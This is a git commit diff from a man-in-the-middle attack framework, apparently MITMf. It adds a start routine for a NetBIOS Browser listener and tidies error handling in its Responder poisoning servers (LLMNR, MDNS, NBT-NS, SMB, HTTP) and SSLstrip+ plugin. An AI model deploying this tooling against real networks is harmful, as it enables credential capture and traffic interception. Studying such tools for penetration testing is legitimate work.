Forgot to start up the Browser server.. oops!
This commit is contained in:
byt3bl33d3r 2015-08-05 14:26:44 +02:00
parent 772ef9ab39
commit e22276477b
8 changed files with 32 additions and 18 deletions

View file

@ -33,8 +33,7 @@ def start():
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception as e: except Exception as e:
print "Error starting LLMNR server on port 5355" print "Error starting LLMNR server on port 5355: {}".format(e)
print_exc()
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):

View file

@ -19,7 +19,6 @@ import core.responder.settings as settings
import socket import socket
import threading import threading
from traceback import print_exc
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.packets import MDNS_Ans from core.responder.packets import MDNS_Ans
from core.responder.utils import * from core.responder.utils import *
@ -31,8 +30,7 @@ def start():
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception as e: except Exception as e:
print "Error starting MDNS server on port 5353" print "Error starting MDNS server on port 5353: {}".format(e)
print_exc()
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):

View file

@ -19,7 +19,6 @@ import threading
import core.responder.settings as settings import core.responder.settings as settings
import core.responder.fingerprint as fingerprint import core.responder.fingerprint as fingerprint
from traceback import print_exc
from core.responder.packets import NBT_Ans from core.responder.packets import NBT_Ans
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import * from core.responder.utils import *
@ -31,8 +30,7 @@ def start():
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception as e: except Exception as e:
print "Error starting NBTNS server on port 137" print "Error starting NBTNS server on port 137: {}".format(e)
print_exec()
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):

View file

@ -16,11 +16,30 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket import socket
import struct import struct
import threading
import core.responder.settings as settings
from core.configwatcher import ConfigWatcher from core.responder.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from core.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from SocketServer import BaseRequestHandler from core.responder.utils import *
from core.utils import *
def start():
try:
server = ThreadingUDPServer(('', 138), Browser1)
t = threading.Thread(name='Browser', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting Browser server on port 138: {}".format(e)
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
def WorkstationFingerPrint(data): def WorkstationFingerPrint(data):
Role = { Role = {
@ -189,7 +208,7 @@ def ParseDatagramNBTNames(data,Client):
except: except:
pass pass
class Browser(BaseRequestHandler): class Browser1(BaseRequestHandler):
def handle(self): def handle(self):
try: try:

View file

@ -18,7 +18,6 @@ import os
import struct import struct
import core.responder.settings as settings import core.responder.settings as settings
import threading import threading
from traceback import print_exc
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
@ -61,7 +60,6 @@ class HTTP:
except Exception as e: except Exception as e:
print "Error starting HTTP server: {}".format(e) print "Error starting HTTP server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):

View file

@ -18,7 +18,6 @@ import struct
import core.responder.settings as settings import core.responder.settings as settings
import threading import threading
import socket import socket
from traceback import print_exc
from random import randrange from random import randrange
from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
@ -42,7 +41,6 @@ class SMB:
t.start() t.start()
except Exception as e: except Exception as e:
print "Error starting SMB server: {}".format(e) print "Error starting SMB server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):

View file

@ -42,6 +42,10 @@ class Responder(Plugin):
MDNS.start() MDNS.start()
NBTNS.start() NBTNS.start()
# Load Browser Listener
import core.servers.Browser as Browser
Browser.start()
if self.config["Responder"]["SQL"].lower() == "on": if self.config["Responder"]["SQL"].lower() == "on":
from core.servers.MSSQL import MSSQL from core.servers.MSSQL import MSSQL
self.tree_info.append("MSSQL server [ON]") self.tree_info.append("MSSQL server [ON]")

View file

@ -30,7 +30,7 @@ class SSLstripPlus(Plugin):
self.options = options self.options = options
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from core.servers.dns.DNSchef import DNSChef from core.servers.DNS import DNSChef
from core.utils import iptables from core.utils import iptables
if iptables().dns is False: if iptables().dns is False: